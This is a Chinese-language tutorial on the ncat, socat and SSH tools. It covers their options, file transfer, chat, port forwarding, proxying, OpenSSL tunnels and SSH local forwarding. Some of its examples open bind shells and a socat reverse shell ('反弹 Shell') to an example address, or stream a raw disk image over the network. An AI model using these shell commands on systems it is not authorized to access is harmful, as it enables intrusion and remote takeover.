--chat 启动一个简单的 Ncat 聊天服务器
--proxy <addr[:port]> 指定要代理的主机地址
--proxy-type <type> 指定代理类型（“http”、“socks4”、“socks5”）
--proxy-auth <auth> 使用 HTTP 或 SOCKS 代理服务器进行身份验证
--proxy-dns <type> 指定解析代理目的地的位置
--ssl 使用 SSL 连接或监听
--ssl-cert 指定用于监听的 SSL 证书文件 (PEM)
--ssl-key 指定用于监听的 SSL 私钥 (PEM)
--ssl-verify 验证证书的信任和域名
--ssl-trustfile 包含可信 SSL 证书的 PEM 文件
--ssl-ciphers 包含要使用的 SSL 密码的密码列表
--ssl-servername 请求不同的服务器名称 (SNI)
--ssl-alpn 使用的 ALPN 协议列表
--version 显示Ncat的版本信息并退出

有关完整的选项、描述和使用示例，请参见 ncat(1) 联机帮助页

3.2 ncat 的使用

ncat 作为浏览器

命令示例：ncat -C scanme.nmap.org 80

该命令是以 交互的方式 执行的。即输入 ncat -C scanme.nmap.org 80 和回车后，接着继续输入 GET / HTTP/1.0 ，再敲击两次回车。即可获取目标网站的 HTML 文档内容。

监听模式（模拟 web 服务器 )

使用 ncat 运行带有静态页面的 Web 服务器。vim /root/sample.html

<html>
<head>
<title>Test Page</title>
</head>
<body>
<h1>Level 1 header</h1>
<h2>Subheading</h2>
<p>Normal text here</p>
</body>
</html>

执行命令：[root@qdzabbix ~]# while true; do nc -l -p 8080 < /root/sample.html ; done

最后浏览器访问 http://127.0.0.1:8080/sample.html

执行命令（远程 shell）

命令示例：ncat -l 8080 --exec "/bin/echo Hello."

可以开启一个远程 shell 供其他设备连接。命令：ncat -l 8022 --exec "/bin/bash -i"

通过 nc 进行端口转发。

命令：ncat -u -l 80 -c 'ncat -u -l 8080'

访问控制

只允许指定客户端连接：ncat -l --allow 10.2.67.204
只拒绝指定客户端连接：ncat -l --deny 10.2.67.204
只允许指定网段的本地 IP：

ncat -l --allow 10.2.67.0/24
ncat -l --allow 10.2.67.0-255

从文件中获取允许访问的地址列表：ncat -l --allowfile trusted_hosts.txt
设置最大连接数为5：ncat -l --max-conns 5

文件传输

接收者监听：
receiver$ ncat -l > outputfile
sender$ ncat --send-only receiver_ip < inputfile
发送者监听：
sender$ ncat -l --send-only < inputfile
receiver$ ncat sender_ip > outputfile

传输目录

接收者：ncat -l | tar xzvf -
发送者：tar czvf - dirname | ncat --send-only receiver_ip

传输磁盘镜像（压缩）

接收者：ncat -l | bzip2 -d > sender-hda.image
发送者：cat /dev/hda | bzip2 | ncat --send-only receiver_ip

聊天

双人聊天
host1$ ncat -l
host2$ ncat host1
多人聊天
server$ ncat -l --chat
clients$ ncat server_ip

在 ncat 中也有订阅者模式，可以由一个 server 提供服务，多个 client 之间相互交流，这样就够搭建一个完整的即时通讯聊天室。
启动 server：ncat -l 8888 --broker 然后使用多个 client 连接即可。

简易 web 服务器

Linux 用户：ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Windows 用户：ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

流媒体视频

服务端：cat video.avi | ncat -l
客户端：ncat server_ip | mplayer -vo x11 -cache 3000 -

4、socat 命令

Socat 官方网站：http://www.dest-unreach.org/socat/

From：https://zhuanlan.zhihu.com/p/347722248

socat 基本语法：socat [options] <address> <address>

socat 主要作用 就是把两个地址的数据流串起来，把左边地址的输出数据传给右边，同时又把右边地址的输出数据传到左边。所以 socat 需要两个地址，其中这 2 个 address 是关键，address 类似于一个文件描述符，Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。这 2 个 address 可以任意发挥，能够做到的事情还有很多。

使用 socat 需要提供两个地址，常用的 address 描述方式如下：

-,STDIN,STDOUT ：表示标准输入、标准输出，可以只用减号 - 代替
/var/log/syslog ：打开一个文件作为数据流，可以是任意路径。
TCP:: 建立一个 TCP 连接作为数据流，TCP 也可以替换为 UDP 。
TCP-LISTEN：建立一个 TCP 监听端口，TCP 也可以替换为 UDP。
EXEC：执行一个程序作为数据流。

socat 还支持：TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多种地址，用于端口监听、链接，文件和进程读写，代理桥接等等。所以使用 socat 其实就是学习各类地址的定义及搭配方法。以上规则中前面的 TCP 等都可以小写，在这些描述后可以附加一些选项，用逗号隔开。如 fork，reuseaddr，stdin，stdout，ctty 等。

最简单示例：命令：socat - -

说明：两个地址都是减号 "-"，就是把 "标准输入输出" 和 "标准输入输出" 对接，输入什么就会显示什么。即在键盘上敲什么，屏幕上就显示什么，类似无参数的 cat 命令。

socat 的参数

参考：www.dest-unreach.org
用法：
socat [选项] <双向地址> <双向地址>
选项：
-V 版本信息
-h|-? 帮助
-hh 与 -h 类似。更加详细的帮助。加上所有常用地址选项名称
-hhh 与 -hh类似。更加详细的帮助。加上所有可用地址选项名称
-d[ddd] 增加详细程度（最多使用 4 次；建议使用 2 次）
-D 在循环之前分析文件描述符
-ly[facility] 使用设施（默认为守护进程）记录到系统日志
-lf<logfile> 记录到文件
-ls 记录到标准错误（如果没有其他日志，则默认）
-lm[facility] 混合日志模式（初始化期间的stderr，然后是syslog）
-lp<progname> 设置用于记录的程序名称
-lu 使用微秒记录时间戳
-lh 将主机名添加到日志消息中
-v 把数据流量转储为文本文件
-x 把数据流量转储为16进制文件
-r <file> 转储从左到右流动的原始数据
-R <file> 转储从右到左流动的原始数据
-b<size_t> 设置数据缓冲区大小 (8192)
-s 马虎模式。即出现错误时继续。
-t<timeout> 在关闭第二个通道之前等待几秒钟
-T<timeout> 再多少秒不活动时，设置超时
-u 单向模式（从左到右）
-U 单向模式（从右到左）
-g 不检查选项组
-L <lockfile> 尝试获取锁，否则失败
-W <lockfile> 尝试获取锁，或者等待
-4 如果没有明确指定版本，则首选 IPv4
-6 如果没有明确指定版本，则首选 IPv6
双向地址：
pipe[,<opts>] groups=FD,FIFO
<single-address>!!<single-address>
<single-address>
单向地址：
<address-head>[,<opts>]
address-head:
abstract-client:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-connect:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-listen:<filename> groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
abstract-recv:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-recvfrom:<filename> groups=FD,SOCKET,CHILD,RETRY,UNIX
abstract-sendto:<filename> groups=FD,SOCKET,RETRY,UNIX
create:<filename> groups=FD,REG,NAMED
exec:<command-line> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
fd:<num> groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
gopen:<filename> groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
interface:<interface> groups=FD,SOCKET
ip-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recv:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
ip-sendto:<host>:<protocol> groups=FD,SOCKET,IP4,IP6
ip4-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recv:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4
ip4-sendto:<host>:<protocol> groups=FD,SOCKET,IP4
ip6-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recv:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP6
ip6-sendto:<host>:<protocol> groups=FD,SOCKET,IP6
open:<filename> groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
openssl:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
openssl-dtls-server:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
openssl-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
pipe:<filename> groups=FD,FIFO,NAMED,OPEN
proxy:<proxy-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
pty groups=FD,NAMED,TERMIOS,PTY
sctp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
sctp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
sctp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
sctp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
sctp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
sctp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
socket-connect:<domain>:<protocol>:<remote-address> groups=FD,SOCKET,CHILD,RETRY
socket-datagram:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET,RANGE
socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
socket-recv:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,RANGE
socket-recvfrom:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,CHILD,RANGE
socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
socks4:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
socks4a:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
system:<shell-command> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
tcp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
tcp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
tcp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
tcp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
tun[:<ip-addr>/<bits>] groups=FD,CHR,NAMED,OPEN,INTERFACE
udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
udp-recv:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
udp-sendto:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp4-connect:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp4-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
udp4-recv:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp6-connect:<host>:<port> groups=FD,SOCKET,IP6,UDP
udp6-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
udp6-recv:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
unix-client:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-connect:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-listen:<filename> groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
unix-recv:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-recvfrom:<filename> groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
unix-sendto:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
vsock-connect:<cid>:<port> groups=FD,SOCKET,CHILD,RETRY
vsock-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY

address 有一下几种形式：

- STDIN STDOUT ：表示标准输入输出，可以就用一个横杠代替
/var/log/syslog : 也可以是任意路径，如果是相对路径要使用./，打开一个文件作为数据流。
TCP:127.0.0.1:1080 : 建立一个TCP连接作为数据流，TCP也可以替换为UDP
TCP-LISTEN:12345 : 建立TCP监听端口，TCP也可以替换为UDP
EXEC:/bin/bash : 执行一个程序作为数据流。

socat 的使用

场景一：本地有个文件，想要显示在终端中
socat - /etc/sysctl.conf

场景二：有个TCP连接会连上来，想看下会获得什么数据。
socat TCP-LISTEN:12345 -

场景三：在目标机上弄一个shell代理
socat TCP-LISTEN:12345 EXEC:/bin/bash

场景四：本地 UNIX DOMAIN 域套接字，转成 TCP SOCKET 供局域网内的机器使用
// 当有多个tcp连上来时，可以使用 fork 一个去连域套接字
socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain
场景五
将本地的80端口转到远程去
socat TCP-LISTEN:80,fork TCP:www.baidu.com:80

网络测试

这个类似 nc 的连通性测试，两台主机到底网络能否联通：

socat - TCP-LISTEN:8080 # 终端1 上启动 server 监听 TCP
socat - TCP:localhost:8080 # 终端2 上启动 client 链接 TCP

在终端 1 上输入第一行命令作为服务端，并在终端 2 上输入第二行命令作为客户端去链接。

联通后在终端2上随便输入点什么，就能显示在终端1上，反之亦然，因为两条命令都是把标准输入输出和网络串起来，因此把两个地址交换一下也是等价的：

socat TCP-LISTEN:8080 - # 终端1 上启动 server 监听 TCP
socat TCP:localhost:8080 - # 终端2 上启动 client 链接 TCP

因为 socat 就是把左右两个地址的输入输出接在一起，因此颠倒左右两个地址影响不大，除非前面指明 -u 或者 -U 显示指明数据 "从左到右" 还是 "从右到左" 。

同 netcat 一样，如果客户端结束的话，服务端也会结束，但是 socat 还可以加额外参数：

socat - TCP-LISTEN:8080,fork,reuseaddr # 终端1 上启动 server
socat - TCP:localhost:8080 # 终端2 上启动 client

服务端在 TCP-LISTEN 地址后面加了 fork 的参数后，就能同时应答多个链接过来的客户端，每个客户端会 fork 一个进程出来进行通信，加上 reuseaddr 可以防止链接没断开玩无法监听的问题。

刚才也说了使用 socat 主要就是学习描述各种地址，那么想测试 UDP 的话修改一下就行：

socat - UDP-LISTEN:8080 # 终端1 上启动 server 监听 UDP
socat - UDP:localhost:8080 # 终端2 上启动 client 链接 UDP

网络管理

连接远程端口：socat - TCP:192.168.1.252:3306
监听一个新端口：socat TCP-LISTEN:7000 -

端口转发

在主机上监听一个 8080 端口，将 8080 端口所有流量转发给远程机器的 80 端口：

socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.3:80

那么连到这台机器上 8080 端口的所有链接，相当于链接了 192.168.1.3 这台机器的 80 端口，命令中交换左右两个地址一样是等价的。

这里 socat 比 nc 强的地方就体现出来了，nc 做转发时只能转发 1 次，第一条链接 accept 并且关闭以后 nc 就退出了，无法接受新链接，因此 nc 只适合单次使用。而 socat 加上 fork 以后，每次 accept 一个链接都会 fork 出一份来不影响接收其他的新连接，这样 socat 就可以当一个端口转发服务，一直启动在那里。还可以用 supervisor 托管起来，开机自动启动。

还可以用这个功能暴露一些 127.0.0.1 的端口出来供外面访问，比起 nc 的临时救急使用一下的场景，socat 是可以当一个服务长期运行的。

场景 2：在实际生产中我们经常会遇到到一个场景就是，用一台机器作为转发服务器，连接 AB 两个网段，将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口，这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

这样的场景一般在和客户建立专线的连接时候经常用到，一般也可以采用 iptables 做转发，但是比较复杂。Socat 可以很轻松的完成这个功能，但是 Socat 不支持端口段转发，只适用于单端口或者少量端口。

转发 TCP。监听 192.168.1.252 网卡的 15672 端口，并将请求转发至 172.17.0.15 的 15672 端口。命令：socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

参数说明：

1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。
2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口，也就是转发端口。这里是 15672，请根据实际情况改成你自己需要转发的端口。
4. bind 指定监听绑定的 IP 地址，不绑定的话将监听服务器上可用的全部 IP。
5. reuseaddr 绑定一个本地端口。
6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口，这里是 172.17.0.15 的 15672 端口。

转发 UDP。转发 UDP 和 TCP 类似，只要把 TCP4 改成 UDP4 就行了。

命令：socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123

NAT 映射。在一个 NAT 网络环境中，也是可以通过 Socat 将内部机器端口映射到公网上的。

在外部公网机器上执行命令：socat tcp-listen:1234 tcp-listen:3389
在内部私网机器上执行命令：socat tcp:outerhost:1234 tcp:192.168.1.34:3389
这样，你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。

不过这样场景下更推荐内网穿透神器 FRP

fork 服务

多进程。示例命令：socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同设备的通信

将 U 盘进行网络共享

示例命令：$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr

将终端转发到串口

示例命令：socat READLINE,/dev/ttyS0,raw,echo=0,crnl

让 Socat 后台运行

默认情况下 Socat 只在前台运行，如果要让 Socat 一直在后台运行，可以使用 nohup 命令来保证其在后台一直运行。

示例命令：nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &

除了 nohup 外，Linux 下让进程在后台运行的方法还很多，比如：screen、tmux 等。在 Linux 中一切都是文件，无论是 Socket 还是其他设备。所以从理论上来说，一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。

正向 shell、反向 shell

正向 Shell
1. 服务端
# 在服务端 7005 端口建立一个 Shell。
$ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
或者
$ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
2. 客户端
# 连接到服务器的 7005 端口，即可获得一个 Shell。readline 是 GNU 的命令行编辑器，具有历史功能。
$ socat readline tcp:127.0.0.1:7005

反弹 Shell。当有主机连接服务端的 7005 端口时，将会发送客户端的 Shell 给服务端。
1. 服务端
$ socat -,raw,echo=0 tcp-listen:7005
2. 客户端
$ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

示例：使用反向shell 实现远程登录

使用参数 "EXEC 可以执行程序" 并且把输入输出和另外一个地址串起来，比如服务端：

socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 服务端提供 shell
socat - TCP:localhost:8080 # 客户端登录

完善一点可以加些参数：

socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr # 服务端
socat file:`tty`,raw,echo=0 TCP:localhost:8080 # 客户端

这样可以把 bash 的标准错误重定向给标准输出，并且用终端模式运行。客户端可以像刚才那样登录，但是还可以更高级点，用 tty 的方式访问，这样基本就得到了一个全功能的交互式终端了，可以在里面运行 vim, emacs 之类的程序。

更高级一点，使用 root 运行：

socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

相当于在 23 端口启动了一个 telnetd 的服务，可以用 telnet 客户端来链接。

网页服务

首先编写一个脚本 web.sh

#! /bin/bash
echo -e -n "HTTP/1.0 200\r\n"
echo -e -n "Content-Type:text/html\r\n"
echo -e -n "\r\n"

echo "<html><body>"
echo "now is $(date)"
echo "</body></html>"

这里我们用 SYSTEM 地址类型代替原来的 EXEC 执行命令，因为可以后面写 shell 命令：

socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"bash web.sh"

这时你就可以用浏览器访问：http://localhost:8080 的端口了：

相当于每次请求的时候，socat 都会 fork 一个进程出来然后执行后面的命令，启动上面的脚本程序，并且将脚本的标准输入输出重定向给网络链接。

相当于原始的 cgi 程序了，我们可以用 shell 直接完成一个 cgi 程序并由 socat 提供 cgi 服务，偶然需要暴露一些服务器信息的话，可以这样弄一下，返回的 html 里搞一个自动刷新，然后打开浏览器，实时监控服务器的情况。

文件传输

临时需要传输下文件，无需 scp：

socat -u TCP-LISTEN:8080 open:record.log,create # 服务端接收文件
socat -u open:record.log TCP:localhost:8080 # 客户端发送文件

这里用了 -u 参数，意思是数据从左边的地址单向传输到右边的地址，大写 -U 的话是从右边单向传输到左边。

将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253，文件传输完毕后会自动退出。

在 192.168.1.252 上执行：socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上执行：socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示数据传输模式为单向，从左面参数到右面参数。
-U 表示数据传输模式为单向，从右面参数到左面参数。

读写分流功能

Socat 具有一个独特的读写分流功能，比如：可以实现一个假的 Web Server，客户端连过来之后就把 read.html 里面的内容传过去，同时把客户端的数据保存到 write.txt 里面。

命令：socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符号用于合并读写流，前面的用于读，后面的用于写。由于 ! 在 Shell 中是特殊字符，所以这里在命令行中使用 \ 对其进行了转义。

透明代理

第一句是用于 socks 代理的，第二句用于 HTTP 代理：

socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>

他们都可以把本地端口的请求转换成使用代理服务器访问的请求，比如：

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

那么链接本地的 1234 端口，相当于通过代理服务器 127.0.0.1:5678 去链接 google.com 的 80 端口了，这里用了 SOCKS4A ，后面 A 的意思是让代理服务器去解析域名。

通过 Openssl 来加密传输过程

假设有一个服务器主机，地址为 server.domain.org。并且服务端程序使用 4433 端口。为了尽可能的简单，我们使用一个非常简单的服务功能，即服务端仅回显数据（echo），客户端只进行标准输入（stdio）。要进行 Openssl 加密数据传输，首先需要生成 Openssl 证书。

1. 生成服务端的证书

# 为服务端的证书取一个基本的名字。
$ FILENAME=server
# 生成公钥私钥对。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一个自签名的证书，会提示你输入国家代号、姓名等，或者按下回车键跳过输入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用刚生成的密钥文件和证书文件来生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

服务端证书生成完成后，复制信任证书 server.crt 到 SSL 客户端所在的主机上。

2. 生成客户端证书

# 为客户端证书取一个不同的文件名
$ FILENAME=client

重复上述服务端生成证书的流程。然后复制 client.pem 到 SSL 客户端主机，复制 client.crt 到服务端主机。至此完成了证书交换，服务端有 server.pem、client.crt 两个文件，客户端有 client.pem 、server.crt 两个文件。

其次我们需要建立 Openssl 服务端，在服务端我们不再用 tcp-listen (tcp-l) ，而用 openssl-listen (ssl-l) 。cert 参数告诉 Socat 包含证书和私钥的文件，cafile 参数指向客户端的证书文件。如果客户端能提供相关联的私钥，我们则认为该连接是可靠的。

$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

运行这个命令后，Socat 会在 4433 端口监听，并要求客户端进行身份验证。

最后在客户端建立一个加密的链接，用 openssl-connect 或者 ssl 替换你的 tcp-connect 或 tcp 地址关键字，然后添加 cert 和 cafile 选项。

$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后，会回显在客户端输入的内容。

5、Linux 下常用的端口转发工具

端口转发、端口映射

端口转发：就是把一个端口的流量转发到另一个端口上，端口可以是本机端口，也可以是远程主机端口
端口映射：跟 "端口转发" 差不多。端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口，提供相应的服务。当用户访问外网IP的这个端口时，服务器自动将请求映射到对应局域网内部的机器上。

SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是，SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发，并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”（tunneling），这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如，Telnet，SMTP，LDAP 这些TCP 应用均能够从中得益，避免了用户名，密码以及隐私信息的明文传输。而与此同时，如果工作环境中的防火墙限制了一些网络端口的使用，但是允许SSH 的连接，也能够通过将TCP 端口转发来使用SSH 进行通讯。

ssh 安装、使用、端口转发

安装 ssh

win10、win11 系统自带，只是没有开启，可以自己搜索开启方法

win11：设置 ---> 应用 ---> 可选功能 ---> openssh 服务器

Linux系统上安装、运行 OpenSSH Server

安装：sudo apt-get install openssh-server -y

启动 OpenSSH Server，并将该服务加入开机自启项，在 Terminal 里输入指令
sudo systemctl start ssh.service # 启动
sudo systemctl enable ssh.service # 设为开机自启
SSH服务将开机自启。
通过systemctl命令可以对SSH服务进行管理，如检查状态、停止、重启、禁用开机自启可通过以下指令实现
systemctl status ssh.service # 检查状态
sudo systemctl stop ssh.service # 停止
sudo systemctl restart ssh.service # 重启
sudo systemctl disable ssh.service # 禁用开机自启

最新的macOS系统都预装了SSH，并且将其集成到了“远程登陆（Remote Login）”的设置中，这使得在Mac上使用SSH异常简单。

ssh 分为两个部分

sshd 服务端。在服务器上建好并处于可用状态。并接收 ssh 客户端发送的指令并执行
ssh 客户端。连接到 "远程服务器"，发送指令进行操作。

ssh 功能

1. 加密 SSH Client 端至 SSH Server 端之间的通讯数据。
2. 突破防火墙的限制完成一些之前无法建立的TCP 连接。SSH端口转发（隧道）功能强大、用途广泛，仅仅一行代码便可以将两台主机联系起来，对特定的访问请求进行代理。国外的网站可以使用 SSH隧道、使用代理服务器、使用虚拟专用网络（VPN）、使用浏览器插件。使用SSH隧道SSH隧道是一种安全的网络连接，可以使您在国外访问网站时获得更强的安全性和隐私性。

ssh 工具教程

ssh 工具教程：https://zhuanlan.zhihu.com/p/601630927

彻底搞懂SSH端口转发命令：https://zhuanlan.zhihu.com/p/148825449

SSH端口转发 (本地转发、远程转发、动态转发)：https://www.cnblogs.com/zangfans/p/8848279.html

-L 本机端口
-R 远程主机端口，做反向 ssh
-f 后台执行
-N 不打开远程shell，处于等待状态。就是 "不实际连接，而是做 port forwarding(-N)"
-g 启用网关功能

SSH 基本的连接命令是：ssh username@hostname

本地端口转发

ssh -L 本地网卡地址:本地端口:目标地址:目标端口 用户@目标地址

假设你的本地机器是 host2, 可以通过 ssh 访问 host3, 但是无法直接访问 host4 上开在 9000 端口的 http 服务, 而 host3 可以访问 host4, 此时就可以利用 ssh 隧道通过 host3 访问 host4 的服务, 如下:

# host 2
# 本地转发模板：ssh -L [<本地地址>:]<本地端口>:<目标地址>:<目标端口> host3
# 比如上面的例子，-L 表示本地转发

用法 1：使用回环地址 127.0.0.1 或者 localhost
ssh -L 127.0.0.1:10001:192.168.1.4:9000 host3
ssh -L localhost:10001:192.168.1.4:9000 host3
用法 2：省略 <本地地址>
ssh -L 10001:192.168.1.4:9000 host3

用法 3：使用本地外部地址
ssh -L 192.168.1.2:10001:192.168.1.4:9000 host3

注意: 由于 host2 开启的转发端口 10001 是在本地，因此称为【本地转发】.

从 host2 访问

因为隧道是在 host2 上开的，所以可以在 host2 本地通过 host3 访问 host4 上的 http 服务

用法 1 和用法2 访问: http://127.0.0.1:10001 或 http://localhost:10001
用法 3 访问: http://192.168.1.2:10001

上图中, 只有 host2 和 host3 之间的通信是 ssh 加密的.

从 host1 访问

如果需要从 host1 通过 host2 访问 host4 上的服务, 则需要增加 -g 参数:

host2 执行：ssh -g -L 10001:192.168.1.4:9000 host3

此时在 host1 上访问 http://192.168.1.2:10001 即可

ssh 跳板

host2 执行：ssh -g -L 10022:192.168.1.4:22 host3

我们把 host2 上的 10022 映射到了 host4 上的 22 端口, 而 22 端口是 ssh 端口, 这意味着 host2 成了外界和 host4 直接的跳板机, 此时我们可以从 host1 或者 host2 上 ssh 连接到 host4:

host2 执行：ssh jarvis@localhost -p 10022
